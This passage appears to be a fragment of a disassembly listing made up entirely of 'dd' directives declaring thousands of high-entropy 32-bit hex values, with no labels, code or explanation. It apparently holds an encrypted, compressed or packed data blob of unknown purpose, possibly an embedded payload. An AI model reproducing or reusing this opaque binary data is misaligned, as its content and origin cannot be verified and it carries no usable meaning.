		dd 0C26BFD31h, 3F3DF5D9h, 6BF06529h, 0AEE5B5BDh, 0C9E156A7h
		dd 6E3A6600h, 28BD2AF8h, 42C08F0h, 0B1247F0Ah, 897AF3C3h
		dd 0EBBD1395h, 54F0E527h, 2816749Ch, 71A72BF0h,	8D8DEF68h
		dd 291EB288h, 5FB505ECh, 2CFC482Ch, 0D772E42Fh,	81082B21h
		dd 0A01DFBDh, 0E8AD2056h, 0D1309D41h, 98DABF05h, 14672D04h
		dd 87EE208Ah, 0E16701Bh, 89255064h, 5DD841E8h, 680EE12Ah
		dd 0C331A11Ah, 974C3E30h, 0CE2E9C72h, 146AE451h, 0DCFC7244h
		dd 3BBFB805h, 4C56F9F1h, 75EEB5D0h, 0BB2D60FDh,	47286472h
		dd 5B0CA459h, 0B60A9B23h, 0FA1526B9h, 0BF6A080Dh, 8796501Dh
		dd 9F9620FBh, 3C5A701Dh, 2053FC0h, 0FDD49FF5h, 8930D65Ah
		dd 2540B7D0h, 6C503E6h,	66C04604h, 4A993532h, 9C06EF6Eh
		dd 7E2AD894h, 0CA801AB2h, 0DBDFB7ABh, 0B51762A5h, 25A1597Fh
		dd 59BF45F6h, 8CEE93F1h, 9C41CFB0h, 2F11030h, 4A34CC3Bh
		dd 0B4E3EA87h, 0F6420827h, 875F9FCCh, 4AE945B6h, 6FA4FDh
		dd 3F1120F4h, 151CE781h, 0F7C72D5Ch, 0EF9047DFh, 71DDD89Dh
		dd 25699801h, 68F9BE91h, 6D060D80h, 0C3513CAh, 47A507AFh
		dd 0EF162A8Ah, 0E1C2F1CEh
		dd 7564B22h, 6A546D84h,	39C7B27Fh, 1AF5050Bh, 0AEFD04BBh
		dd 0FE125Bh, 55BD05DDh,	35FA6C71h, 0B67A0341h, 31FE5E1Eh
		dd 4053506Ch, 981249FEh, 32BD784Eh, 2E89192Fh, 1DB09066h
		dd 0BF00C596h, 1E9F6A5Eh, 0A5509DC1h, 0C98CC02Eh, 0D82EF482h
		dd 0F025854Bh, 13ABDA53h, 124AB994h, 92F42E1Ch,	0A82D1EC3h
		dd 74C1CC54h, 0DE3EF2F7h, 0C123475h, 739F00AEh,	5F6CBF05h
		dd 0B0C6B7Dh, 4C197749h, 0DA758234h, 0B6E5A91h,	0F97B5CB5h
		dd 0E6B8F525h, 0A9A89215h, 6C90BCBh, 0E01D8765h, 0B29C06E2h
		dd 97B496DDh, 0AEC086D4h, 184EF424h, 6336BC68h,	0FC822AB9h
		dd 646589DFh, 0CB59ABD2h, 0F16802CAh, 64576020h, 9B1216DEh
		dd 29D0EF69h, 776BEBBAh, 9FB8F4DDh, 74BC479h, 0C70B9F0Eh
		dd 20B1A8B7h, 0C09F869Dh, 3060EF97h, 0A70C26B5h, 6E09C20Ch
		dd 0DF61D4E9h, 0B1F8D818h, 1D1A0580h, 436DEE29h, 3D25379Fh
		dd 472DF0C1h, 13115A07h, 472525Eh, 1F57D06Ah, 0CA09D5DFh
		dd 0C2540729h, 90F09BD5h, 2E7817BEh, 0E6420151h, 20CA2F9Ah
		dd 49415EDh, 96A90A6Fh,	0FB525542h, 0B0164957h,	46C2D9A0h
		dd 0F009992Dh, 0A5E91281h, 0E2CBF54h, 0FB824EB7h, 1609285Eh
		dd 0C9CD7E49h, 0F088305Ch, 0D8F70E83h, 0DF74AAE9h, 3F1E772Fh
		dd 0AD38D92Ah, 0C35A1AB0h, 0D55CC882h, 680E9765h, 84C3F5FCh
		dd 99B56BAFh, 0F9F56AFCh, 2893530h, 0E9128628h,	0C57516CAh
		dd 0C55CAFF0h, 5766C1D2h, 74B4FB28h, 1C16FFA8h,	295C2CBEh
		dd 0A83CD740h, 0B6B0A373h, 1ADEE895h, 19621697h, 47F70A0Fh
		dd 22456619h, 0E7DFD5F7h, 8A0213E6h, 57955EE8h,	0D0EF81AAh
		dd 0C3EE711h, 7FBE8F56h, 81298A5Ah, 269F0214h, 0C441F8C5h
		dd 16719D44h, 0CD3E0CF1h, 0CFE42AEFh, 0D0E6FD5Ah, 3BE25C5h
		dd 183D63FCh, 63C5DC86h, 1E123D23h, 0FB940813h,	0AC315CD7h
		dd 0E9E7D532h, 732DE597h, 0CC541E04h, 6C65C206h, 2B791561h
		dd 13F02CBFh, 3F9E7402h, 0A5984DE9h, 284FAE8h, 0CD45AFBh
		dd 69E0AB7Dh, 856A0AADh, 0EB3AA34h, 1D0FED02h, 0DDC04B1Ch
		dd 424C7CC1h, 0A246181Fh, 0B85AD025h, 681C20AFh, 34C2BE0Eh
		dd 43E23366h, 0FA39B400h, 176CE905h, 7729C092h,	8BAC9D73h
		dd 4A48A03Ah, 4A2CB905h, 484339FFh, 0AA4C96B4h,	0C5C68A4Ch
		dd 0D15200A8h, 7568C28Dh, 678A5479h, 7B54D9C8h,	0F7F11A42h
		dd 7E684E22h, 9E2A225Ch, 0BD05278Eh, 39EE1C26h,	0ED00C8E8h
		dd 567D6035h, 0A1609AE9h, 66C9684Ah, 597C27DEh,	0E95082D4h
		dd 0BC0F4AF6h, 6CEB80E7h, 0FA79957Ch, 1B506428h, 8B6580F9h
		dd 0B3A0D71Bh, 5E8183B0h, 9498ECD8h, 0C4605297h, 73043D71h
		dd 0C26FE93Ah, 0B063ACBBh, 0C4BC3BEh, 0F32923DAh, 62415250h
		dd 8F0A5E41h, 9733902Fh, 2E32AF19h, 0CDBB184Dh,	0F993F0Fh
		dd 0C5EB6FE0h, 5FF4307Ch, 19B1AAC8h, 6BDEF6B6h,	3504F7F8h
		dd 0C7301DB7h, 0BBFE3501h, 39807398h, 0E9986FC1h, 28290C58h
		dd 0B010F16Eh, 0E0E2166Dh, 7A9E074Ah, 340BD569h, 57C973F9h
		dd 0E916899Eh, 0D8AA99EFh, 917A034Bh, 0E2377BF7h, 30592BB7h
		dd 0A9E6D644h, 73F0BB13h, 53D2575h, 18903FEh, 2A107DD8h
		dd 973C6866h, 82609616h, 13DF49B8h, 0D5DCAF7Ch,	0B6A51ABh
		dd 0BC6A6571h, 4F5F8826h, 2FE957E2h, 7B68B0E8h,	4AF94256h
		dd 5197FB9h, 0D42A2A6Ah, 0E62D2548h, 0E26E20Ah,	4F11B407h
		dd 1AC1B4A2h, 20255660h, 87409FDBh, 6ED3CC0h, 866ECC15h
		dd 522D92Fh, 0D509EB04h, 0C3090C5h, 9D9648E9h, 6EEE0AA0h
		dd 500749Eh, 68E43C7Fh,	0B45598E9h, 2BF951AAh, 0D85F770Bh
		dd 12BE74F2h, 0B01DE622h, 0A2CB465Eh, 59D331B6h, 74E4A27Fh
		dd 0D62D6609h, 0D8578007h, 0C656FD68h, 0A29385Dh, 0CD2CB961h
		dd 0D631C17Fh, 120806A6h, 0B8B4C0E6h, 990D0E14h, 0B10B90Dh
		dd 0E922023Eh, 0C5A04A44h, 3F8F6F61h, 0E0F8D9F7h, 0E9174579h
		dd 0CC4F05E8h, 37FCA27Dh, 0BF03D531h, 21C95BDFh, 99A248F8h
		dd 0C5CCA65Fh, 4223E392h, 8505113h, 58097F88h, 125A96FDh
		dd 0A33D09E9h, 2F4C48A3h, 903A4654h, 0FA800FFh,	0EABB2A5Ch
		dd 2C1D58C5h, 310AC329h, 0ED10BAD9h, 0E4D5FB4Ah, 0FD64019h
		dd 21934F23h, 2B358630h, 17733A8Eh, 675350E5h, 0BAD3D50Bh
		dd 0DAC4D99h, 0AA941603h, 4ECCC48Ch, 5E53A72Fh,	690E5E45h
		dd 2C90B890h, 95585091h, 43F71AB8h, 0E8035C9Dh,	793BA984h
		dd 692092CCh, 4464620h,	837C0950h, 0F8FA01C1h, 0E42A7107h
		dd 817F497Fh, 15299BFBh, 0FB9BE3CAh, 36CAB582h,	2859984Eh
		dd 9D538040h, 8C62B065h, 820936h, 0F7094EBCh, 3AC15C19h
		dd 0D531D404h, 19368ADh, 920840DAh, 0E10C8243h,	5CBA9D9Ah
		dd 0B50218Ch, 0CF05C330h, 0F769BBF0h, 29FCF96Eh, 4C6CE5B4h
		dd 70B70FB9h, 0CE0B2FE0h, 8148907Fh, 0C52E10F3h, 0A92350FCh
		dd 1B686841h, 0CDD3C203h, 10E90AABh, 0ACAC3EBCh, 0EB7691C5h
		dd 0E95D3030h, 0E8792B9h, 0DE3D70BEh, 5EF12162h, 56A7F840h
		dd 0D2080BB9h, 947E257Bh, 0E04CD76Bh, 0E08F5F58h, 7EE03B49h
		dd 35C60542h, 0BF794446h, 0F7560FC0h, 0CFC7B614h, 5F7CD62Ch
		dd 2B4C34Eh, 8E751863h,	4595707Dh, 0A8529328h, 2576DB5Ch
		dd 7A81E2DEh, 2F702655h, 8129285Ch, 0B32E5B1Dh,	0CBE917FFh
		dd 6B2D8DBBh, 4230DAD2h, 0C90140D4h, 8253947Dh,	6FCA0E63h
		dd 687368D5h, 0F4EFAE85h, 74364E97h, 0C773C803h, 29308F61h
		dd 6D7058C2h, 9885B553h, 0EFCF1464h, 93B9948h, 41A949D0h
		dd 2B17F19Dh, 951364A6h, 0CDA84193h, 82586B18h,	0E62DE8EAh
		dd 0A0067514h, 395AC45Dh, 295C5C05h, 0EC5A41A6h, 646A00D7h
		dd 99BD2E9Fh, 476327F0h, 2420FE50h, 2344CB9Eh, 0E5F53062h
		dd 1F688788h, 0C4D70B74h, 5156B532h, 2666F608h,	1002407h
		dd 5DF34FBBh, 41306129h, 507931C1h, 7A7CEEF1h, 0F004A7F5h
		dd 98A12DF4h, 92FB905Dh, 0BE5D80CFh, 861FA409h,	54705785h
		dd 85391832h, 7622550Bh, 0AA8EF1F7h, 0A65E2809h, 4D0CA9E5h
		dd 4B4D88DAh, 9FA7F281h, 1640B217h, 10706DBFh, 0FB292576h
		dd 0C38160E5h, 0C804601h, 0D38AB2Fh, 0A3C632E9h, 12DC584Eh
		dd 27872F08h, 430C8AF4h, 12C03A4Bh, 0FEEAC711h,	0B4A78114h
		dd 12ABA501h, 0CEE5474Ch, 0EED2AB68h, 0B50258E4h, 674BDA5Ah
		dd 0F9B3ED80h, 45D072Ch, 6ED828FEh, 6616BC9Dh, 8B2EFD5Bh
		dd 1A55008h, 0E30196BAh, 60D62936h, 18D3F9E3h, 0E51D10BCh
		dd 0FC4AFCBFh, 8C24AD0Dh, 0BECF5831h, 5A4F1A20h, 1492C8BCh
		dd 10393525h, 0DE2A68C0h, 0C020C273h, 60CEFEA7h, 0C1BD0A65h
		dd 107F7F49h, 0DB02884Eh, 774DDDF7h, 6205B53h, 0E83DAB7h
		dd 0C33884F5h, 5DEE49DFh, 0A706FB77h, 0A5E248F4h, 0FE010338h
		dd 62AE0AB9h, 72110067h, 0DD685DC6h, 0A7989555h, 0BE011843h
		dd 42D2F773h, 0E04915E9h, 0C9870F6Eh, 1AA770C3h, 8CD219F1h
		dd 2AFB31D4h, 9EC8BF77h, 0BE045606h, 669F470Ch,	36249180h
		dd 0E91D13B7h, 5A98F001h, 5F82901h, 60507E07h, 8234EE70h
		dd 0C13D80F7h, 7D5102EFh, 0F1EC2D52h, 0CBB09655h, 265059FBh
		dd 1BA4DCC0h, 2DE97248h, 0A45AD514h, 0EB52630Fh, 2C34656Ch
		dd 9368E242h, 9F66C6Ah,	4D2D076Eh, 3B0C2FADh, 0F1D4F9B2h
		dd 69BA4171h, 9D1638EDh, 0CA815C8Eh, 29176E5Bh,	805F7630h
		dd 310008B8h, 0E0D16AE3h, 3DB22D48h, 0EB5B3BE1h, 9F21172Ch
		dd 310B60E8h, 325A4DB8h
		dd 7BB6B702h, 26940F6h,	0C6A1BF4Eh, 0D537A1F5h,	3D2D6B31h
		dd 11C62287h, 8975592Bh, 826EC20Bh, 56BF8C5Bh, 0F830E2DFh
		dd 6804C15Bh, 148C7247h, 0C0D05BB2h, 0B15153F8h, 0ECB3F81Ch
		dd 3EDE26h, 0E38003EBh,	12DBF671h, 14FE5366h, 2F7CD7F4h
		dd 478BBC3h, 5131820h, 272DEF81h, 0C7B38035h, 0B148EEB5h
		dd 0DBA72E3Fh, 53AF7FAFh, 11F30BE3h, 4607C819h,	3DF80A14h
		dd 62C0B758h, 0E926EAD1h, 0DABDFC36h, 0C12533CBh, 6ABE8881h
		dd 7C3FF574h, 6C974F29h, 0D27FE42Eh, 30EFC9EFh,	0B09F5AB2h
		dd 0B709BDC9h, 0A319FE6h, 8E3617Bh, 3A518105h, 505A0012h
		dd 0C05E09B0h, 0FF0403E0h, 1070146Dh, 2D039FC7h, 91D6FB8h
		dd 0BD7004D2h, 69486837h, 13E0EFA4h, 3CFEF6B7h,	27FBD0C7h
		dd 747CC09Ch, 0B1185752h, 560B2849h, 78DFF718h,	0B4BA800Bh
		dd 0E7A92FD7h, 6F27CB70h, 4B1AD5FBh, 5944F3D6h,	5C8B95CBh
		dd 0D897DF46h, 94EE484Dh, 0F281D283h, 68EC32C0h, 0DC0386B8h
		dd 956185Fh, 0C2ACFAh, 67FB777Ah, 5F95D727h, 688577ABh
		dd 9C897FD0h, 122BCB2Bh, 8BBAA670h, 0EFD84146h,	0F4ED6901h
		dd 2D0B0A25h, 42375D3Eh, 5B410C58h, 78290F8h, 0ECB26882h
		dd 0B0E1A1A0h, 78F4F4CCh, 5602ED96h, 765D5455h,	4DB254DCh
		dd 0C52D8604h, 0C1BC5A54h, 0A11FD601h, 3D5E5248h, 0D8761012h
		dd 640EA058h, 95640EDh,	88DC59ABh, 7679D140h, 42E927A9h
		dd 505EFF42h, 0BB95752Dh, 0CF46805h, 0E3098B46h, 47F7186Dh
		dd 0FB89E6A0h, 506EFE9Dh, 5895D3F7h, 94D68017h,	80B44B7Ah
		dd 35762BEEh, 1FF1750h,	0E941BD94h, 0D1539AFAh,	0C9DE93C3h
		dd 266A5E0Fh, 870E68D6h, 12676468h, 284ACBEAh, 6818052Dh
		dd 0D5BB5C7Ah, 0C7E7C785h, 7D6FB286h, 13607F42h, 0D2C14FF1h
		dd 67D50565h, 4BFC248Ch, 3A9821EAh, 0BD10FF95h,	0EA0018F6h
		dd 0F329A5BDh, 92639AE9h, 505F05F3h, 0C14EB866h, 92968EC9h
		dd 33FEE887h, 30A3B5EFh, 5ACDEFD5h, 0C492E37Bh,	0A8AE0268h
		dd 6CEF92CEh, 4A25683Fh, 0F1B2184Bh, 7C88806Ah,	8B6664B7h
		dd 3F7EF9FDh, 0D84DBA3Dh, 0BF2D540h, 32D60EA4h,	73A7A300h
		dd 6BBF7DCEh, 1249895h,	4B46789Dh, 5A2E04E2h, 0C92FF259h
		dd 0F7EA626Eh, 67B5CAC4h, 1BE989F0h, 52604662h,	8D981ECFh
		dd 29DFCD25h, 1DEA75ADh, 0A5957A63h, 1733282Ah,	20B80D12h
		dd 0FAD997C4h, 9F69B9A3h, 12D21876h, 700C6106h,	0DC565B01h
		dd 4CC19AD7h, 0CB0C2EBEh, 0BACE5081h, 3B479B26h, 0AF0626B3h
		dd 0B24C4108h, 3E1F8276h, 0FCED29FDh, 6E0C3DD2h, 0CEFA25C4h
		dd 714C207Ch, 51CB2777h, 1F2D8913h, 59130E51h, 1A6D1E08h
		dd 51041468h, 0C916AD65h, 0C0B87C53h, 767C0A67h, 64446817h
		dd 0DF60568Dh, 0F612614Bh, 3F800EB7h, 41A03780h, 9134402Ah
		dd 799E7218h, 60D16424h, 25F530F4h, 165EC84Bh, 9F21EA4h
		dd 665B0E0Bh, 0F0CB204h, 0BBCE9856h, 9F60EC0Ah,	5528B594h
		dd 0E9250FBDh, 55E80A9h, 4ACC06DFh, 66E961h, 484CA124h
		dd 0B2E7BDE9h, 333A048Eh, 0B0403075h, 0BE015613h, 591F6682h
		dd 774D6F7h, 7175014Fh,	22E9515Bh, 504524F6h, 49A46800h
		dd 0F7583803h, 0C40D00D0h, 56E953Ch, 0EB007A36h, 5163354Bh
		dd 4EE984F1h, 0E21D405Eh, 459147C9h, 8976FEBFh,	5220B712h
		dd 55DD50F3h, 88B8875Fh, 399B2B18h, 0AB1FB4EDh,	177E5276h
		dd 27EE295Dh, 0D08182CAh, 2B98985Dh, 0F2C383B0h, 47FB3F9h
		dd 140C1FFh, 0EEF945CAh, 0B594249h, 0D1CC02DEh,	8AE90231h
		dd 7E1BA97Fh, 38179092h, 4968895Eh, 539C9856h, 1314F452h
		dd 46031Bh, 6B0BEACEh, 0E91B7B9Bh, 0DBC3B264h, 6EB48F67h
		dd 89D2ACAFh, 6C20F529h, 64946A44h, 0FB58E4EDh,	88AAF44Ah
		dd 932CE949h, 56F3AB8h,	7A406C84h, 0B414D968h, 5F31CF77h
		dd 0B547627h, 0FEB4B47Dh, 0EB42D3DAh, 24315238h, 3258C5h
		dd 7EAC62DBh, 91AA0CE9h, 0A02944FFh, 95339C06h,	8800C873h
		dd 8118710Bh, 579D0BE1h, 0F5637661h, 2A7F5291h,	1182F4D5h
		dd 3790FA64h, 0CDE38309h, 3EDFBA30h, 23CEA458h,	0C4D06D13h
		dd 7B412CB8h, 0F4614B37h, 5E4BF0B4h, 2985F6FDh,	0B273BF89h
		dd 0FBA2015Ch, 0E973376Fh, 2B07DC4h, 33919AEEh,	0F395E1B3h
		dd 5E1840CAh, 874830E9h, 76D4C625h, 9241D13Dh, 3A84A72h
		dd 0CFA15FCFh, 7F5E5A77h, 0E85A0BCAh, 0EADEA18Eh, 24E7C101h
		dd 1B2C76C1h, 0E60EA42Bh, 47EAC35Fh, 0F19A0146h, 9DC0308h
		dd 0EF5E81F7h, 0EBFF1F74h, 2B4B87Ah, 0D3553EE9h, 0AD285D62h
		dd 96AE3E08h, 0EBD18FD2h, 7A1ACBA3h, 0E3B0168Bh, 0D5592A61h
		dd 31250489h, 9F006028h, 18D06A4h, 27C5DE58h, 303C4114h
		dd 0B357E541h, 60688A3Fh, 0DF32A786h, 4B527677h, 3A4EA150h
		dd 8D967CE3h, 48EE2096h, 8A6340Bh, 0B07B8843h, 0FF5F227h
		dd 3C0B1ADFh, 73A92049h, 0B79094FDh, 0C6DDB231h, 0A2CDD9A7h
		dd 0AD40266Fh, 370B03EDh, 0B4D3AC4h, 0B70CE300h, 2C05AF5Fh
		dd 9F507351h, 665C37BEh, 0C5215BB6h, 7183D338h,	98610FC3h
		dd 84ABBE9Fh, 9FA9C455h, 3D6F70D9h, 58135467h, 26704EE9h
		dd 0DF0DBBDh, 3F159C9Fh, 409D63B0h, 85B95894h, 0ADC820ADh
		dd 0BF78A871h, 57AF0A5Eh, 3DD51D02h, 30FCB675h,	0BB30CC97h
		dd 0B9250743h, 0B140DD21h, 55282DEBh, 9220A0F2h, 0F20FA390h
		dd 88657F1Eh, 5B340C95h, 861227B3h, 10F7A320h, 583F6649h
		dd 3DCBD2Dh, 0A0637F6Bh, 8061EFE1h, 74B9BD24h, 90453A0Eh
		dd 44380904h, 0EB803705h, 4DA46DDDh, 0C40BA398h, 0C3268049h
		dd 0C13DD087h, 0D5090B91h, 16D62AE9h, 61C6C581h, 842B3A26h
		dd 0ECD0C1FDh, 310DF1F1h, 5193652Fh, 54114C49h,	0C4E3AEB7h
		dd 6BB2F093h, 4B640212h, 4DDFF4FFh, 4DDF735h, 0EA897500h
		dd 0BF31CACFh, 57251ED9h, 6E98C21h, 0A069B178h,	79C47086h
		dd 0B2E2B701h, 3E1C080Ch, 68907E17h, 41A47204h,	2D5C8012h
		dd 444834C2h, 0D98D1044h, 5830310Bh, 0B9B668ECh, 68D23160h
		dd 0C86ABFF7h, 88BD5BF5h, 5289222h, 0B38A43Ch, 4DF01CBh
		dd 4CC0D7ACh, 0B316862h, 0A77EE96Bh, 22174EF7h,	14A67BFh
		dd 5CA62CFAh, 68F1F704h, 86A32503h, 0B36E4A71h,	0CAF4180Fh
		dd 1EE5C161h, 0CB36B019h, 90E806D8h, 0EB2D5AC7h, 49EC5E4Dh
		dd 0FDAFD047h, 9EBDA016h, 0F9E91A42h, 0C05F22A0h, 2E126491h
		dd 0B04E599Ch, 0EC274A90h, 0B4272B78h, 514B1828h, 0AAD15A88h
		dd 6649145Dh, 9B72B5Bh,	7AB8902h, 0DC67EDCCh, 0B73D0899h
		dd 0D0540802h, 3FA78076h, 60177038h, 0DFAF0E43h, 315ED8E3h
		dd 0B5246305h, 0A84E44A7h, 5556F2DFh, 0B9C15676h, 43A67FFh
		dd 12EE49ADh, 1BC742F8h, 0CD550985h, 0B1E98648h, 591E3AC9h
		dd 350CFE21h, 31681A66h, 41256F95h, 60F981F1h, 217E2219h
		dd 95FC7Fh, 793DB1BDh, 959B87E9h, 9F4F345Fh, 71F0C2A2h
		dd 975BE657h, 0C140B5Ah, 18DA1554h, 3085101Bh, 4BF2963Eh
		dd 0AEFB3807h, 29F32F1Ch, 0B9218C4Eh, 0CA5A4E8Eh, 629010A5h
		dd 0E3283C7Eh, 0B3A5B516h, 0AAE1028Dh, 0DF257374h, 1B2A3722h
		dd 0FFDA0102h, 2C896BD9h, 3A105420h, 35FC5A27h,	4C4A7049h
		dd 0A67C4587h, 67BCF08Bh, 76680EAEh, 1B7A934Ah,	0C0AF0899h
		dd 9F79DE7Ah, 834FFEFCh, 7A256268h, 0F8A25533h,	65C7E640h
		dd 68C02774h, 0DE3E37FEh, 315F7081h, 18C7E22Ah,	0CB35C01Ch
		dd 1F519559h, 54A669ADh
		dd 7939EE2Bh, 8C40442Bh, 9C5CF860h, 97FB7FF4h, 2C8A99A6h
		dd 391D035Ah, 1E40CF01h, 0D129E908h, 5C4BDE99h,	0A8E96283h
		dd 0E941F45Fh, 0A667D5h, 408AB951h, 81004404h, 4C3FF0C9h
		dd 90E1D10Eh, 98D4E15h,	837D5DB3h, 588B2EC8h, 25789511h
		dd 40D9C15Ch, 9BEE5593h, 42E90C61h, 1CB11653h, 8FD9F62Ch
		dd 658280D1h, 0EE87CA20h, 96D70B95h, 9ADBFC69h,	0E1294FB2h
		dd 1D567EACh, 0DA5F84CBh, 0E08409E9h, 4447F4D3h, 720CC055h
		dd 3F484B6Eh, 7D158432h, 27068AABh, 0ADB15EC5h,	0AF42AB40h
		dd 95095B80h, 7A6176C8h, 5112717Fh, 0A6A1E1E9h,	0E819896Ah
		dd 0E89F39C6h, 9D1ED65Fh, 0D6BD879Eh, 0DE20F274h, 0E9711275h
		dd 5FB26C2Dh, 54745B3Ah, 0FFEA8161h, 76686BF8h,	0BF9EBA01h
		dd 0BDE06D5Bh, 9BF4F58h, 0E3FCE97Eh, 93EA65F5h,	0FF20615Ch
		dd 0CE54230h, 0FE2FC0Bh, 6636D3Bh, 0FF1EF87h, 0E54B82D7h
		dd 0C07C7F1Ch, 132DED46h, 0D7EB4912h, 31C93016h, 0EEC11C57h
		dd 8AC1B059h, 0F296CAFDh, 317ED89h, 181473EDh, 3860D62Bh
		dd 0BC5E5ADCh, 0F25CA348h, 7AB50CAh, 8462CDBFh,	99CF8031h
		dd 5897C56Ah, 0ABEF037Ah, 0E944522Bh, 68B5D0E4h, 0B12C11F6h
		dd 0F1075921h, 333110D1h, 3F30CF89h, 0D768806Eh, 7458181Eh
		dd 7E5B2D8Bh, 44044F3Ch, 2F06E2CEh, 465A07CAh, 1EC8BED5h
		dd 78090BEAh, 1FE97E3Ch, 8509EEC4h, 20BAA947h, 249CBACh
		dd 9AB047EAh, 38855758h, 85BC5E62h, 6430E2B7h, 0F5FB676Ah
		dd 205C2A08h, 772C05D1h, 0C5297C3Ah, 168BFB55h,	4F119150h
		dd 401BF37h, 3F1A1EB9h,	339F0CBDh, 508BA571h, 0C296E9DCh
		dd 9C4D7CECh, 0AA314480h, 0F234E938h, 11C76188h, 9D1570E9h
		dd 153FD845h, 17C3D17Bh, 0DEA3257Ch, 330AF93Dh,	9AB0902h
		dd 3A1A4A1Fh, 2D8AE8D7h, 4E23178Ch, 698E0841h, 9F170626h
		dd 96DF9DBCh, 1C4A98Ah,	58A3BE56h, 8E3A4237h, 96F14E0Eh
		dd 131CD47Eh, 0B267FA16h, 0C540A1A4h, 73590688h, 4B480CC4h
		dd 0F5BB80EEh, 3913B9F6h, 0B00489C1h, 5A09BF68h, 8B5F94C2h
		dd 89F404A9h, 3C875B02h, 0A96FD7FEh, 80E97C66h,	3F350F0Eh
		dd 3AC9E7D1h, 57E28202h, 0DFBDC919h, 0D74A26ADh, 0E352748Bh
		dd 0B235A5B0h, 0B8BCFF50h, 0F1566427h, 0AC6F1A51h, 45BD80F4h
		dd 0C17FAC0Ah, 0CA669CCAh, 0A2BD4004h, 0E398058h, 0F8C75EE9h
		dd 2C88F570h, 0A5043E93h, 0FEBD3A12h, 38A10E30h, 72940EEh
		dd 0FDD7F736h, 596109A6h, 6BDD0391h, 2A1604B2h,	0A82EA7BBh
		dd 0F09C2543h, 26BF9B58h, 9C57A546h, 9274B575h,	0BA3A38CDh
		dd 0F681CF40h, 5A5EB882h, 525C009Dh, 8A59B5BAh,	25E31758h
		dd 0BBF820E2h, 5B9612E0h, 8531EC89h, 87ADEB0Fh,	0B7112801h
		dd 6FD0F76Ah, 4048C000h, 971C3868h, 44072318h, 21065A09h
		dd 8E2538F0h, 0C25D8298h, 5FE9DFF4h, 18102FCEh,	8C824A97h
		dd 4071DFDAh, 50DDCB6Fh, 628B9931h, 0F4F1D830h,	0C66D77A5h
		dd 0DDFF5C93h, 0DAA17F92h, 0F418BD2Bh, 5B680D21h, 0EF16F7CAh
		dd 55BEC62Dh, 0EC30F63Ah, 755A7768h, 7B30F769h,	9D6F0172h
		dd 82E94D76h, 3AA86BF7h, 0ABB794C5h, 57320BE3h,	76D66428h
		dd 24FD872h, 76A532FDh,	6893558h, 0EAE6D411h, 1A26BBE5h
		dd 50541F15h, 0F1885DABh, 0A29B122Eh, 19B0ECC9h, 0EB41A5B1h
		dd 0D6835E7Bh, 0B905E0A7h, 52B7AD0Bh, 9554F036h, 0D35D30A9h
		dd 1069EA1Fh, 0D7F6174Ch, 0F81DE8F8h, 2876A030h, 5D5BFE90h
		dd 0E0873709h, 810BDCB5h, 75DF3055h, 7436312Ch,	7B5EEE12h
		dd 0F579FA3Ah, 0F1795427h, 25CCA461h, 15A49377h, 8806035Eh
		dd 0B7714F70h, 6FE9C5FEh, 0BEF513AAh, 4716199Bh, 668D4734h
		dd 0E3268F89h, 0BF07125Dh, 2D306469h, 7B0E4B5h,	0B7530351h
		dd 0C4B4500Eh, 802FB1B8h, 28ACEC0Eh, 0C9BABECCh, 0C0E98332h
		dd 0FBB70474h, 826EF947h, 0C108A5EBh, 1D0B1025h, 2F6FB148h
		dd 184253EAh, 9311CA82h, 0F2E70E0Bh, 0C6095B9h,	76123E10h
		dd 9659F0F6h, 50F4C5Bh,	247574A7h, 85050FAh, 0C028E912h
		dd 0B3DBACBh, 3BB8CA5Bh, 9D0EA503h, 0E2B84269h,	7E052196h
		dd 93A6E975h, 0FD4F9AE3h, 63BD9230h, 0E683FB96h, 3D86A1E4h
		dd 0DE2A09Bh, 9CC2CEFAh, 0EA06AEFAh, 9840F727h,	0B4960B0Ch
		dd 0B850F2F0h, 3AEBD134h, 55054C92h, 67D1EA4Bh,	0DD226513h
		dd 0FFA36B53h, 0B821DF0Eh, 32685F01h, 6C279679h, 77ECDB85h
		dd 2CAEC1B0h, 8E33622Dh, 770854FFh, 7FC2922Fh, 42849D32h
		dd 512EAC96h, 482A409Dh, 2767497Bh, 2F63150Ch, 0EE8E022Ah
		dd 0E94CED22h, 0BB976877h, 0DAC81230h, 497AC113h, 8EBD6FB7h
		dd 0B4F3EED2h, 0F890E9C4h, 0C1F25A7Ah, 2550889Fh, 8AEF8007h
		dd 0D4B16385h, 0CB52D1F4h, 0BC04490Ah, 5DB856C2h, 899FC02Ch
		dd 71848468h, 0A560FA40h, 797A94E7h, 0BA3B0BFh,	0A9FDE903h
		dd 0B763C457h, 7BD569C2h, 4CBE0251h, 0E9C2FC60h, 6291860h
		dd 0EA56443Ah, 0EE015034h, 0E7BF1D47h, 109EE68h, 0EAD7162Bh
		dd 784B620Ch, 0F2309455h, 25E0665Fh, 0F0485854h, 0F2B726DCh
		dd 80F044Bh, 0FC452A25h, 0D3E95CB4h, 90AFECD4h,	0B416E939h
		dd 31D519BFh, 0D0F6E18Bh, 0DCBE07F5h, 7CC28892h, 42F725E6h
		dd 0D5E42911h, 942D5C4Fh, 0C2F59E8Bh, 8E5B6393h, 0EC3AB78Ah
		dd 0E0D0424h, 65E02195h, 98C2842h, 24347DA7h, 3FC23B92h
		dd 0AA08C628h, 45397DC8h, 5811A5F3h, 2CA7163Eh,	18EEBCBDh
		dd 0D9BD3060h, 105AC15Bh, 3A41F35Fh, 3500CDA2h,	869624D3h
		dd 45BDC729h, 0B00F8881h, 0E9C5310Eh, 8E2658E5h, 51FE8015h
		dd 5370A07h, 0C9BDC1E9h, 511540F7h, 303EF168h, 0F35BE9B7h
		dd 0FD252399h, 8654010Bh, 5D7D1289h, 8741E972h,	0AE31162Ah
		dd 5D59A649h, 5E17716Ch, 8EF13768h, 0E5C7F83Eh,	0C0C19716h
		dd 26DD48B3h, 897DB56Fh, 30D7BCE4h, 0B751161Bh,	74226FEh
		dd 2D5903EEh, 7FA17AC8h, 31716812h, 3EEC30ABh, 849F8253h
		dd 0F8BA053Eh, 0F7F407FEh, 7F9B6461h, 312D3520h, 4C4F2F35h
		dd 70262C4h, 5594B5E9h,	8BB64BA2h, 6892195Dh, 24D1B6A2h
		dd 69525F16h, 0E8789904h, 0F635C315h, 80D590DDh, 0F98358CDh
		dd 0C5C3E915h, 4F6BD4Fh, 0B223BAAAh, 955AC82h, 0BB9EBCE4h
		dd 4B256396h, 0C28B1271h, 53C3ABA5h, 609703B6h,	9A38E94Ch
		dd 1FB800F0h, 407BFB1Ah, 0E5710548h, 6184042Dh,	525D104h
		dd 0E6F6DC7Bh, 0FD3F7B62h, 8B3FC35Ah, 80AFE1C7h, 0EB258B3Dh
